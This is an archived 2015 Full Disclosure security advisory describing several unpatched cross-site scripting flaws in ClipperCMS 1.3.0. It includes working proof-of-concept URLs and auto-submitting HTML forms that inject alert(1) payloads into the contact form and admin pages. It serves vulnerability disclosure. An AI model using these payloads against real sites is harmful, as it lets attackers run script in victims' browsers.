full-disclosure

Open Source and information security mailing list archives

Date: Fri, 13 Nov 2015 17:06:53 +0100
From: "Curesec Research Team (CRT)" <crt@...esec.com>
To: fulldisclosure@...lists.org
Subject: [FD] ClipperCMS 1.3.0: XSS

Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    ClipperCMS 1.3.0
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://www.clippercms.com/
Vulnerability Type:  XSS
Remote Exploitable:  Yes
Reported to vendor:  10/02/2015
Disclosed to public: 11/13/2015
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

There are various XSS vulnerabilities in ClipperCMS 1.3.0. Some require
specific non-default settings, while others do not require these settings.

3. XSS 1

CVSS

Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Proof of Concept

http://localhost/ClipperCMS-clipper_1.3.0/manager/media/browser/mcpuk/connectors/php/connector.php?foo=bar<img src=no onerror=alert(1)>

4. XSS 2

CVSS

Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description

The name, email, message, and subjected parameter of the Contact form are
vulnerable to XSS.

Contrary to the XSS issues in the admin area described below, these XSS work
without clickjacking or specific settings regarding referers.

Proof of Concept

The POCs for name and subjected are equivalent to this POC for email:

<html>
  <body>
    <form action="http://localhost/ClipperCMS-clipper_1.3.0/index.php?id=6" method="POST">
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="email" value="test@...mple.com"onfocus="alert(1)"autofocus="" />
      <input type="hidden" name="subjected" value="test" />
      <input type="hidden" name="message" value="test" />
      <input type="hidden" name="submit" value="Send" />
      <input type="hidden" name="formid" value="contactform" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

POC for message:

<html>
  <body>
    <form action="http://localhost/ClipperCMS-clipper_1.3.0/index.php?id=6" method="POST">
      <input type="hidden" name="name" value="test"onfocus="alert(1)"autofocus="" />
      <input type="hidden" name="email" value="test@...mple.com"onfocus" />
      <input type="hidden" name="subjected" value="test"onfocus="alert(1)"autofocus="" />
      <input type="hidden" name="message" value="test"></textarea><script>alert(1)</script>" />
      <input type="hidden" name="submit" value="Send" />
      <input type="hidden" name="formid" value="contactform" />
      <input type="submit" value="Submit request" />
    </form>
  </body>

5. XSS 3

CVSS

Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N

Description

The search field of the System Events page is vulnerable to XSS. To execute the
provided POC, the setting "Validate HTTP_REFERER headers" should be set to
false. Please note that it is likely possible to exploit this issue via
ClickJacking even if that setting is set to true.

Proof of Concept

<html>
  <body>
    <form action="http://localhost/ClipperCMS-clipper_1.3.0/manager/index.php?a=114" method="POST">
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="listmode" value="" />
      <input type="hidden" name="op" value="" />
      <input type="hidden" name="search" value="" autofocus onfocus="alert(1)" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

6. XSS 4ff

CVSS

Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N

Description

Multiple parameters of various components of the admin area are vulnerable to
XSS.

To execute these POC, the setting "Validate HTTP_REFERER headers" should be set
to false.

Proof of Concept

http://localhost//ClipperCMS-clipper_1.3.0/manager/index.php?a=75&r=);}alert(1);function foo(){doRefresh(

http://localhost/ClipperCMS-clipper_1.3.0/manager/index.php?a=31&mode=drill&path=foo';alert(1);var bar='

http://localhost/ClipperCMS-clipper_1.3.0/manager/index.php?a=88"><img src=no onerror=alert(1)>&id=1

http://localhostClipperCMS-clipper_1.3.0/manager/index.php?a=114&id=&listmode="><img src=no onerror=alert(1)>&op=&search=test

http://localhost/ClipperCMS-clipper_1.3.0/manager/index.php?a=88&id=1"><img src=no onerror=alert(1)>

7. Solution

This issue has not been fixed by the vendor.

8. Report Timeline

10/02/2015 Informed Vendor about Issue (no reply)
10/21/2015 Reminded Vendor of Disclosure Date (no reply)
11/13/2015 Disclosed to public

Blog Reference:
http://blog.curesec.com/article/blog/ClipperCMS-130-XSS-101.html

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives